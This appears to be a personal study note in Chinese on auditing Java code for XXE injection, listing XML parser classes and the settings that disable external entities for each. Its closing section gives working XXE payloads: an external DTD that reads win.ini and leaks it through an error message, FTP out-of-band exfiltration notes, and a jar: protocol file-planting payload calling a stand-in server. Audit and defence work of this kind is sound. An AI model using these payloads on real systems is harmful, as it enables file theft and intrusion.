目录

Java代码审计之XXE注入总结

前言

对审计XXE注入总结的一些知识点,主要是方便自己看

解析XML的函数

审计时根据关键字全局搜索,在看是否禁用外部实现引用,最后在向上回溯是否可控

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
javax.xml.parsers.DocumentBuilderFactory
javax.xml.parsers.SAXParserFactory
javax.xml.parsers.SAXParser
javax.xml.transform.TransformerFactory
javax.xml.validation.Validator
javax.xml.validation.SchemaFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.transform.sax.SAXSource
oracle.xml.parser.v2.DOMParser
org.xml.sax.XMLReader
DocumentHelper.parseText
DocumentBuilder
XMLInputFactory
org.xml.sax.helpers.XMLReaderFactory
org.dom4j.io.SAXReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.bind.Unmarshaller
javax.xml.xpath.XpathExpression
javax.xml.stream.XMLStreamReader
org.apache.commons.digester3.Digester
rg.xml.sax.SAXParseExceptionpublicId
......

XXE注入防御

XXE注入的防御,禁用外部实体引用就可以防御绝大数的攻击,但是根据解析xml不同的工具类,设置的参数也不相同,下面根据不同的工具类来进行防御参数的设置。

目前不太全,待以后补充

DocumentBuilderFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();

//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//包括外部一般实体。 默认为true
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);

//包括外部参数实体和外部 DTD 子集。 默认为true 
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//加载外部 DTD。 默认为true 
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

//实际利用示例
DocumentBuilder documentBuilder = dbf.newDocumentBuilder();
documentBuilder.parse(new File("aaa.xml"));

SAXParserFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
SAXParserFactory saxParserFactory = SAXParserFactory.newInstance();

//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
saxParserFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//包括外部一般实体。 默认为true
saxParserFactory.setFeature("http://xml.org/sax/features/external-general-entities", false);

//包括外部参数实体和外部 DTD 子集。 默认为true 
saxParserFactory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//加载外部 DTD。 默认为true 
saxParserFactory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

//实际利用示例
SAXParser saxParser = saxParserFactory.newSAXParser();
saxParser.parse(new File("aaa.xml"),new HandlerBase());

XMLInputFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
XMLInputFactory factory = XMLInputFactory.newInstance();

//这将完全禁用该工厂的DTD
factory.setProperty(XMLInputFactory.SUPPORT_DTD, false);

//这会导致在访问外部DTD时引发XMLStreamException
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");

//禁用外部实体
factory.setProperty("javax.xml.stream.isSupportingExternalEntities", false);

//实际利用示例
XMLStreamReader reader = factory.createXMLStreamReader(new FileInputStream(new File("aaa.xml")));
reader.next();

reader.nextTag();

DOMParser

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
DOMParser domParser = new DOMParser();

//不展开实体引用
domParser.setAttribute(DOMParser.EXPAND_ENTITYREF, false);

//dtdObj是oracle.xml.parser.v2.DTD的实例
domParser.setAttribute(DOMParser.DTD_OBJECT, dtdObj);

//不允许超过11个级别的实体扩展
domParser.setAttribute(DOMParser.ENTITY_EXPANSION_DEPTH, 12);

//实际利用示例
domParser.parse(new InputSource(new FileInputStream(new File("aaa.xml"))));

TransformerFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
TransformerFactory tf = TransformerFactory.newInstance();

//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");

//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_STYLESHEET = "http://javax.xml.XMLConstants/property/accessExternalStylesheet"
tf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

//实际利用示例
Transformer transformer = tf.newTransformer();
transformer.transform(new StreamSource(new File("aaa.xml")), new StreamResult("bbb.xml"));

Validator

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");
Schema schema = factory.newSchema();
Validator validator = schema.newValidator();

//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");

//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_SCHEMA = "http://javax.xml.XMLConstants/property/accessExternalSchema"
validator.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

//实际利用示例
validator.validate(new StreamSource(new File("aaa.xml")));

SchemaFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
SchemaFactory factory = SchemaFactory.newInstance("http://www.w3.org/2001/XMLSchema");

//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_DTD, "");

//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_SCHEMA = "http://javax.xml.XMLConstants/property/accessExternalSchema"
factory.setProperty(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "");

//实际利用示例
Schema schema = factory.newSchema(new File("aaa.xml"));

SAXTransformerFactory

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
SAXTransformerFactory sf = (SAXTransformerFactory) SAXTransformerFactory.newInstance();

//禁止外部DTD访问,访问时会直接报错
//ACCESS_EXTERNAL_DTD = "http://javax.xml.XMLConstants/property/accessExternalDTD"
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "");

//限制外部引用指定的协议的访问,访问时会直接报错
//ACCESS_EXTERNAL_STYLESHEET = "http://javax.xml.XMLConstants/property/accessExternalStylesheet"
sf.setAttribute(XMLConstants.ACCESS_EXTERNAL_STYLESHEET, "");

//实际利用示例
sf.newXMLFilter(new StreamSource(new File("aaa.xml")));

XMLReader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
XMLReader reader = XMLReaderFactory.createXMLReader();
//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
reader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//包括外部一般实体。 默认为true
reader.setFeature("http://xml.org/sax/features/external-general-entities", false);

//包括外部参数实体和外部 DTD 子集。 默认为true 
reader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//加载外部 DTD。 默认为true 
reader.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);

//实际利用示例
reader.parse(new InputSource(new FileInputStream(new File("aaa.xml"))));

SAXReader

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
SAXReader saxReader = new SAXReader();

//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//包括外部一般实体。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);

//包括外部参数实体和外部 DTD 子集。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//实际利用示例
saxReader.read(new File("aaa.xml"));

SAXBuilder

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
SAXBuilder builder = new SAXBuilder();

//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
saxReader.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//包括外部一般实体。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-general-entities", false);

//包括外部参数实体和外部 DTD 子集。 默认为true
saxReader.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//实际利用示例
builder.build(new File("aaa.xml"));

Digester

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
Digester digester = new Digester();

//如果传入文档包含DOCTYPE声明,将引发致命错误。默认为false
digester.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

//包括外部一般实体。 默认为true
digester.setFeature("http://xml.org/sax/features/external-general-entities", false);

//包括外部参数实体和外部 DTD 子集。 默认为true
digester.setFeature("http://xml.org/sax/features/external-parameter-entities", false);

//实际利用示例
digester.parse(new File("aaa.xml"));

一些利用方式

利用报错回显文件内容

XML文件:

1
2
3
4
5
6
<?xml version="1.0" ?>
<!DOCTYPE message [
        <!ENTITY % ext SYSTEM "http://127.0.0.1:9999/evil.dtd">
        %ext;
        ]>
<message></message>

外部dtd文档:

1
2
3
4
<!ENTITY % file SYSTEM "file:///C:/Windows/win.ini">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

无回显情况下利用FTP协议

利用FTP协议回显对jdk版本是有限制的,体现为对文件内容\n的检测

1
2
3
4
5
< 7u141 或 < 8u131:不会受文件中\n的影响
> jdk8u131:能创建FTP连接,外带文件内容中含有\n则抛出异常

// 本地用jdk-11.0.15 测试了一下依然可以创建FTP连接读取不含有\n的文件
> jdk8u232:不能创建FTP连接,只要url中含有\n就会抛出异常

利用ftp协议工具,开启服务,其中xml内容根据需求更改

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/2a81ef80-4018-b861-1f81-3a063eef2ef3.png

利用jar协议上传文件

利用jar协议上传文件时,无法控制上传目录、名称和扩展名,并且在协议断开时文件会被删除,因此利用工具使文件长时间停留在服务器上。

XMl文件:

1
2
3
4
5
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
        <!ENTITY data SYSTEM "jar:http://127.0.0.1:9999/aaa.zip!/aaa.txt">
        ]>
<foo>&data;</foo>

工具利用时,会将指定的qwe.txt上传至服务器,格式如图中所示,此时在xml中指定的zip可以随意更改。

https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2513662/f07f6a07-c806-ab25-dbdd-24e0b4802c83.png

实际利用很小,可参考ZOHO ADAudit Plus的洞,还可以根据报错或者file协议去找文件上传的位置